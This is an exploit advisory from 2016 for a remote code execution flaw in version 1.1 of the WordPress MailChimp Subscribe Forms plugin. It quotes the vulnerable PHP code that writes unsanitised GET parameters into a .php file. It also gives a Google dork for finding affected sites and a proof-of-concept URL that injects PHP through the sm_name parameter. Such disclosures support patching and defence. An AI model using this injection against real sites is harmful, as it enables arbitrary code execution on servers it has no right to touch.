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WordPress MailChimp Subscribe Forms 1.1 Remote Code Execution

WordPress MailChimp Subscribe Forms 1.1 Remote Code Execution
Posted Mar 23, 2016
Authored by CrashBandicot

WordPress MailChimp Subscribe Forms plugin version 1.1 suffers from a code execution vulnerability.

tags | exploit, code execution
MD5 | f0699e5cd4d047d454faf0fbdd8f86a1

WordPress MailChimp Subscribe Forms 1.1 Remote Code Execution

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# Exploit Title: Wordpress Plugin MailChimp Subscribe Forms - Remote Code Execution
# Date: 23-03-2016
# Exploit Author: CrashBandicot
# Google Dork : inurl:/wp-content/plugins/mailchimp-subscribe-sm/
# Vendor Homepage: https://fr.wordpress.org/plugins/mailchimp-subscribe-sm/
# Tested on: MSWin32
# Version: 1.1

# Vulnerability in GET
# Put your mail for subscribe and send but add in URL the Parameter sm_name with PHP Code

# Vulnerable Files : mailchimp-subscribe-sm/inc/store-address.php

18. if(!preg_match("/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*$/i", $_GET['sm_email'])) {
...
23. $smf_data = '* Name : '.$_GET['sm_name'];
24. $smf_data .= ' Email : '.$_GET['sm_email'].' , '. PHP_EOL;
...
36. $file = "sm_subscribers_list.php";
...
39. $fp = fopen($file, "a");
40. fwrite($fp, $smf_data);
...
42. fclose($fp);

# PoC : localhost/subscribe/?sm_email=0day@0day.com&sm_name=<?php phpinfo(); ?>&submit=subscribe

# Result in file sm_subscribers_list.php

# PicS : http://i.imgur.com/HHtuycC.png

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